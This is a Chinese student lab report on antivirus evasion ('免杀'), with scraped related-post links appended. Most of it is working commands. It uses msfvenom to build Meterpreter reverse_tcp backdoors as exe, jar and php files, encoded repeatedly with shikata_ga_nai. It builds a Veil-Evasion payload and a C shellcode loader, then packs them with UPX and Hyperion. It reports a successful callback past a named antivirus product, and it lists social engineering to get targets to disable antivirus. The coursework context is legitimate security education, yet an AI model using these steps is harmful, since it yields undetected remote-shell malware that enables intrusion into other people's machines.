2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践

免杀原理及基础问题回答

免杀

  1. 1. 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  2. 2. 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  3. 3. 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

基础问题回答

  • 杀软是如何检测出恶意代码的?

    1. 基于特征码的检测
    2. 启发式恶意软件检测
    3. 基于行为的恶意软件检测
  • 免杀是做什么?
    1. 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
  • 免杀的基本方法有哪些?
    • 改变特征码

      1. 只有EXE——加壳(压缩壳 加密壳)
      2. 有shellcode(像Meterpreter)——利用encode进行编码
      3. 有源代码——用其他语言进行重写再编译
    • 改变行为
      • 通讯方

        1. 尽量使用反弹式连接
        2. 使用隧道技
        3. 加密通讯数据
      • 操作模式
        1. 基于内存操作
        2. 减少对系统的修改
        3. 加入混淆作用的正常功能代码
      • 非常规方法
      1. 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
      2. 使用社工类攻击,诱骗目标关闭AV软件。
      3. 纯手工打造一个恶意软件
  • 开启杀软能绝对防止电脑中恶意代码吗?
    • 不能,因为恶意代码一系列的隐藏或加密变换后杀软并不能察觉异常敏感信息。

课下实验

实验准备:

  • 获取IP地址:windows7系统IP地址为192.168.44.130、linux系统IP地址为192.168.44.128。

实验内容:

  1. 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  2. 任务二:通过组合应用各种技术实现恶意代码免杀
  3. 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验3.1.1 msf编码器的使用

生成exe文件
  • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
  • 缺点:解码部分以及模板固定都是病毒检测的关键处和薄弱点。
  • 下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
  1. msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.44.128 LPORT=5324 -f exe > met-encoded.exe
  • 使用VirusTotal扫描结果如下

  • 十次编码使用命令:-i设置迭代次数
  1. msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.44.128 LPORT=5324 -f exe > met-encoded10.exe
  • 使用VirusTotal扫描结果如下:

  • 生成jar文件:
  1. msfvenom -p java/meterpreter/reverse_tcp LHOST=192.16.44.128 LPORT=5324 x> 20165324_backdoor.jar
  • 检测如下

  • 生成php文件:
  1. msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> 20165324_backdoor.php
  • 检测如下

实验3.1.2 veil-evasion的使用

  • 命令行安装:sudo apt-get install veil-evasion
  • 使用详解:
    1. veil命令进入界面
    2. use evasion命令进入Evil-Evasion
    3. use c/meterpreter/rev_tcp.py命令进入配置界面
    4. set LHOST 192.168.44.128命令设置反弹连接IP(kaliIP )
    5. set LPORT 5324命令设置端口
    6. 输入generate生成文件,接着输入你想要playload的名字:veil_c_5324
    7. 保存路径为/var/lib/veil/output/compiled/veil_c_5324.exe
  • 安装

  • 检测如下

实验3.2:通过组合应用各种技术实现恶意代码免杀

  • 背景知识学习:

  • 加壳:加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

  • 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。

  • MSF的编码器使用类似方法,对shellcode进行再编码。

  • 从技术上分壳分为:

    • 压缩壳:减少应用体积,如ASPack,UPX
    • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
  • 半手工注入Shellcode并执行,

    首先使用命令:

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=5324 -f c

用c语言生成一段shellcode;

  • 创建文件5324.c,将unsigned char buf[]赋值到其中,代码如下:
  1. unsigned char buf[] = 生成的shellcode;
  2. int main()
  3. {
  4. int (*func)() = (int(*)())buf;
  5. func();
  6. }
  • 使用命令i686-w64-mingw32-g++ 5324.c -o 5324.exe,编译为可执行文件5324.exe

  • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的.

  • 使用压缩壳(UPX),命令为:

  1. upx xxx.exe -o xxx_upxed.exe

  • 使用加密壳(Hyperion)

    1. 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    2. 进入目录/usr/share/windows-binaries/hyperion/
    3. 输入命令wine hyperion.exe -v 5324_upxed.exe 5324_upxed_hyperion.exe进行加壳
  • 对目标主机进行反弹攻击测试:(半手工生成的shellcode+压缩壳可直接实现,但半手工生成的shellcode+压缩壳+加密壳在目标主机上运行出错)

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 对方电脑为windows7,腾讯电脑管家13.0.19837.233,按照任务二即可(只用压缩壳就可以通过检测了)

2018-2019-2 网络对抗技术 20165324 Exp3:免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  10. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. C#项目学习 心得笔记本

    CacheDependency 缓存 //创建缓存依赖项 CacheDependency dep = new CacheDependency(fileName); //创建缓存 HttpContext ...

  2. 转载->C#中的委托的使用和讲解

    C# 中的委托 引言 委托 和 事件在 .Net Framework中的应用非常广泛,然而,较好地理解委托和事件对很多接触C#时间不长的人来说并不容易.它们就像是一道槛儿,过了这个槛的人,觉得真是太容 ...

  3. Kafka+Storm+HDFS 整合示例

    消息通过各种方式进入到Kafka消息中间件,比如可以通过使用Flume来收集日志数据,然后在Kafka中路由暂存,然后再由实时计算程序Storm做实时分析,最后将结果保存在HDFS中,这时我们就需要将 ...

  4. sysbench 压力测试工具

    一.sysbench压力测试工具简介: sysbench是一个开源的.模块化的.跨平台的多线程性能测试工具,可以用来进行CPU.内存.磁盘I/O.线程.数据库的性能测试.目前支持的数据库有MySQL. ...

  5. 去掉VS2010代码中文注释的红色下划线

    VS2010代码中文注释出现红色下划线,代码看上去很不美观,发现是由于安装Visual Assist X插件造成的. 解决办法:打开VAX的Options对话框,取消Advanced --> U ...

  6. 【CF932G】Palindrome Partition 回文自动机

    [CF932G]Palindrome Partition 题意:给你一个字符串s,问你有多少种方式,可以将s分割成k个子串,设k个子串是$x_1x_2...x_k$,满足$x_1=x_k,x_2=x_ ...

  7. Thinkphp框架下对某个字段查询数据的时候进行唯一过滤,返回唯一不同的值

    方法一. DISTINCT 方法用于返回唯一不同的值 . *distinct方法的参数是一个布尔值. 用法: $data = $Model->Distinct(true)->field(' ...

  8. Windows Server 2008 R2之二从介质安装 AD DS

    可以使用 Ntdsutil.exe 为在域中创建的其他域控制器创建安装介质.通过从介质安装,可以最大程度地减少网络上目录数据的复制.有利于在远程站点中更高效地安装其他域控制器. 实验环境: 在Wind ...

  9. Shell输入输出重定向

    全部可用的重定向命令列表 命令 说明 command > file 将输出重定向到 file. command < file 将输入重定向到 file. command >> ...

  10. 生成式对抗网络GAN 的研究进展与展望

    生成式对抗网络GAN的研究进展与展望.pdf 摘要: 生成式对抗网络GAN (Generative adversarial networks) 目前已经成为人工智能学界一个热门的研究方向. GAN的基 ...